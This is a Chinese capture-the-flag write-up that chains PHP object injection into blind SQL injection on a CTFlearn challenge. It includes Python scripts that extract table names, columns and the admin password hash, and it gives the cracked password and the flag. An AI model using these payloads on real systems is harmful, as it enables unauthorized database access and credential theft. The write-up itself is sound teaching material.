打开网页有两个页面:登录和注册,首先尝试注册一个admin
用户,无果,猜测系统已有一个admin
用户;尝试下用户名注入,无果。于是先注册一个普通账号,登录进去看看进一步的功能。
登录后主要可进行以下几个操作:
point
point
添加point时为POST
:
https://web.ctflearn.com/grid/controller.php?action=add_point```
data: x=34&y=46
删除point时为``GET```:
https://web.ctflearn.com/grid/controller.php?action=delete_point&point=O:5:%22point%22:3:{s:1:%22x%22;s:1:%222%22;s:1:%22y%22;s:1:%222%22;s:2:%22ID%22;s:7:%221095693%22or%221;}
经尝试,添加point提交的参数限定为数字,无法构造其他数据上传,故先放在一边。观察删除时提交的参数,发现point
参数是一串编码后的php序列化
对象,反序列化看看:
__PHP_Incomplete_Class Object
(
[__PHP_Incomplete_Class_Name] => point
[x] => 2
[y] => 2
[ID] => 1095693
)
可以看到该对象包含了3个参数,分别描述所删除point的x坐标、y坐标以及ID,并且在序列化对象中这些参数是以字符形式存在(s
)。
尝试修改这些参数查看是否有限制,比如将ID中的数字改为字母:
/grid/controller.php?action=delete_point&point=O:5:%22point%22:3:{s:1:%22x%22;s:1:%222%22;s:1:%22y%22;s:1:%222%22;s:2:%22ID%22;s:7:%22109569a%22;}
发现并没有报错提示,说明没有对传入的类型做限制。在提交delete
请求时,会执行形如以下的操作:
delete from point_table where id = $id
传入的php序列化
对象是可控的,可以考虑进行sql注入
。
首先尝试一下修改delete
时提交的GET
请求参数看看是否执行成功,例如我们新建一个point,ID为1095693,x为67,y为41,则在burp中修改delete请求中point
字段的值:
/grid/controller.php?action=delete_point&point=O:5:%22point%22:3:{s:1:%22x%22;s:2:%2267%22;s:1:%22y%22;s:2:%2241%22;s:2:%22ID%22;s:7:%221095694%22;}
注意s
代表字符,s:
后面的数字代表长度,修改数值的时候要注意与长度对应,否则会提示:
Notice: unserialize(): Error at offset 62 of 70 bytes in /usr/share/nginx/html/web/grid/controller.phpon line 65
Fatal error: Call to a member function delete() on a non-object in /usr/share/nginx/html/web/grid/controller.php on line 66
提交请求后造次刷新页面,发现ID为1095694的point已被成功删除。
接下来构造id值进行sql注入,由于没有任何回显,所以这里只能采用盲注:
delete from point_table where id=xx and (other sql query)
如果query
为真,则delete
可执行成功,对应ID的point被删除。我们可以通过point是否被删除,来判断注入的sql语句是否为真。例如:
1095693 and (ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=97)
如果ID为1095693的point被删除,说明表名首字母的ascii值为97。并且观察发现当我完全重头新建point时,ID都是从1095693开始,根据这一点可以编写python脚本,依次探测出表名。
url = 'https://web.ctflearn.com/grid/controller.php?action=delete_point&point='
serialob = 'O:5:%22point%22:3:{s:1:%22x%22;s:2:%2220%22;s:1:%22y%22;s:2:%2220%22;s:2:%22ID%22;s:'
letters = 'abcdefghijklmnopqrstuvwxyz,'
def guess_table_name():
name = ''
for index in range(1, 30):
# add point
add_url = 'https://web.ctflearn.com/grid/controller.php?action=add_point'
data = {"x":"20", "y":"20"}
requests.post(add_url, data = data, cookies = cookie, proxies = proxies)
for i in letters:
#delete point
payload = '1095693 and (ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),'+ str(index) +',1))='+ str(ord(i)) +')'
tmp = serialob + str(len(payload)) + ':%22' + payload + '%22;}'
fullUrl = url + tmp
print(fullUrl)
r = requests.get(url=fullUrl,cookies=cookie,proxies=proxies)
if '1095693' not in r.text:
name += i
print(name)
break
执行结果得到point,user
,说明数据库中有两个表point
和user
。
此处我们重点关注user
表,继续探测该表的列名:
def guess_column_name():
name = ''
for index in range(1, 40):
# add point
add_url = 'https://web.ctflearn.com/grid/controller.php?action=add_point'
data = {"x":"20", "y":"20"}
requests.post(add_url, data = data, cookies = cookie, proxies = proxies)
for i in letters:
#delete point
payload = '''1095693 and (ascii(substring((select group_concat(column_name) from information_schema.columns where table_name='user'),'''+ str(index) +',1))='+ str(ord(i)) +')'
tmp = serialob + str(len(payload)) + ':%22' + payload + '%22;}'
fullUrl = url + tmp
print(fullUrl)
r = requests.get(url=fullUrl,cookies=cookie,proxies=proxies)
if '1095693' not in r.text:
name += i
print(name)
break
探测出列名为username,password,uid
,然后探测用户名和密码(admin)。其实根据前面的尝试已经可以猜到有一个管理员账号admin
,然后我犯了一个非常愚蠢的错误导致花费许多时间来找出问题所在…
运行脚本探测admin
密码的时候,为了节省时间,我将枚举的字符范围限定在了a-z
中,然而无论怎样都无法成功,百思不得其解。自己建数据库测试发现也是可以得到正确结果的,后来才发现密码并不是明文存在数据库中,而是存入md5
值…QAQ
把0-9
加入到枚举范围:
def guess_admin_password():
passwd = ''
for index in range(1, 100):
# add point
add_url = 'https://web.ctflearn.com/grid/controller.php?action=add_point'
data = {"x":"20", "y":"20"}
requests.post(add_url, data = data, cookies = cookie, proxies = proxies)
for i in letters:
#delete point
payload = '''1095700 and (ascii(substring((select concat(username,password,uid) from user limit 1),'''+ str(index) +',1))='+ str(ord(i)) +')'
tmp = serialob + str(len(payload)) + ':%22' + payload + '%22;}'
fullUrl = url + tmp
print(fullUrl)
r = requests.get(url=fullUrl,cookies=cookie,proxies=proxies)
if '1095700' not in r.text:
passwd += i
print(passwd)
break
最终可得到用户名为admin
,密码0c2c99a4ad05d39177c30b30531b119b
,解密后为grapevine
。以admin
用户登录,可获得flag:
ctflearn{obj3ct_inj3ct1on}